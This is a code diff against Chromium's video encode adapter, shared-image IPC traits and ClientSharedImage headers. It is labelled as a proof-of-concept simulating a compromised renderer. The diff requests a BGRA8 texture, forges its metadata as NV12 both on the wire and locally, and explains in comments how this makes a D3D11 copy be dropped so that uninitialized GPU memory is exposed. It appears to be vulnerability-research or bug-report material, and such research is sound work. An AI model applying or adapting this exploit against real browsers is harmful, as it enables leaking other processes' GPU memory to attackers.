diff --git a/media/video/video_encode_accelerator_adapter.cc b/media/video/video_encode_accelerator_adapter.cc index aaaaaaa..bbbbbbb 100644 --- a/media/video/video_encode_accelerator_adapter.cc +++ b/media/video/video_encode_accelerator_adapter.cc @@ -209,7 +209,14 @@ class MappableSharedImageVideoFramePool DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); DCHECK(gfx::Rect(coded_size_).Contains(gfx::Rect(visible_size))); - const auto si_format = viz::MultiPlaneFormat::kNV12; + // ==== POC INJECTION (compromised-renderer simulation) ==== + // Ask the GPU process for a *BGRA8* texture instead of NV12. On Windows + // this returns a gfx::DXGIHandle to a DXGI_FORMAT_B8G8R8A8_UNORM texture + // (D3DImageBackingFactory). We will later forge the metadata to NV12 on + // the wire so MFVEA::PerformD3DCopy attempts CopySubresourceRegion + // BGRA8->NV12, which the D3D11 runtime silently drops, leaving the + // hardcoded-NV12 destination as uninitialized GPU VRAM. + const auto si_format = viz::SinglePlaneFormat::kBGRA_8888; const auto buffer_usage = gfx::BufferUsage::VEA_READ_CAMERA_AND_CPU_READ_WRITE; diff --git a/gpu/ipc/common/exported_shared_image_mojom_traits.h b/gpu/ipc/common/exported_shared_image_mojom_traits.h index ccccccc..ddddddd 100644 --- a/gpu/ipc/common/exported_shared_image_mojom_traits.h +++ b/gpu/ipc/common/exported_shared_image_mojom_traits.h @@ -7,6 +7,7 @@ #include +#include "components/viz/common/resources/shared_image_format.h" #include "gpu/command_buffer/client/client_shared_image.h" #include "gpu/command_buffer/common/sync_token.h" #include "gpu/ipc/common/exported_shared_image.mojom-shared.h" @@ -45,9 +46,19 @@ struct GPU_IPC_COMMON_EXPORT StructTraits< return holder.mailbox_; } - static const gpu::SharedImageMetadata& metadata( + static gpu::SharedImageMetadata metadata( const gpu::ExportedSharedImage& shared_image) { - return shared_image.metadata_; + // ==== POC INJECTION (compromised-renderer simulation) ==== + // Forge the on-wire metadata: any BGRA8 ExportedSharedImage carrying a + // real DXGI buffer_handle is relabelled NV12. The GPU-process receiver + // (video_frame_mojom_traits.cc) calls ClientSharedImage::ImportUnowned + // -> MappableBufferDXGI::CreateFromHandle which stores the BGRA8 handle + // *without opening it*, deriving frame->format() solely from this lie. + gpu::SharedImageMetadata m = shared_image.metadata_; + if (m.format == viz::SinglePlaneFormat::kBGRA_8888) { + m.format = viz::MultiPlaneFormat::kNV12; + } + return m; } static const gpu::SyncToken& creation_sync_token( diff --git a/gpu/command_buffer/client/client_shared_image.h b/gpu/command_buffer/client/client_shared_image.h index eeeeeee..fffffff 100644 --- a/gpu/command_buffer/client/client_shared_image.h +++ b/gpu/command_buffer/client/client_shared_image.h @@ -211,7 +211,15 @@ class GPU_COMMAND_BUFFER_CLIENT_EXPORT ClientSharedImage scoped_refptr shared_memory_pool = nullptr); const Mailbox& mailbox() const { return mailbox_; } - viz::SharedImageFormat format() const { return metadata_.format; } + viz::SharedImageFormat format() const { + // ==== POC INJECTION (compromised-renderer simulation) ==== + // Mirror the wire forgery locally so the renderer-side VideoFrame + // wrapping (WrapMappableSharedImage -> frame->format()) reports NV12 + // and passes VideoEncodeAcceleratorAdapter / MojoVEA pre-send checks. + if (metadata_.format == viz::SinglePlaneFormat::kBGRA_8888) + return viz::MultiPlaneFormat::kNV12; + return metadata_.format; + } base::ByteSize EstimatedSizeInBytes() const { return base::ByteSize(format().EstimatedSizeInBytes(size())); }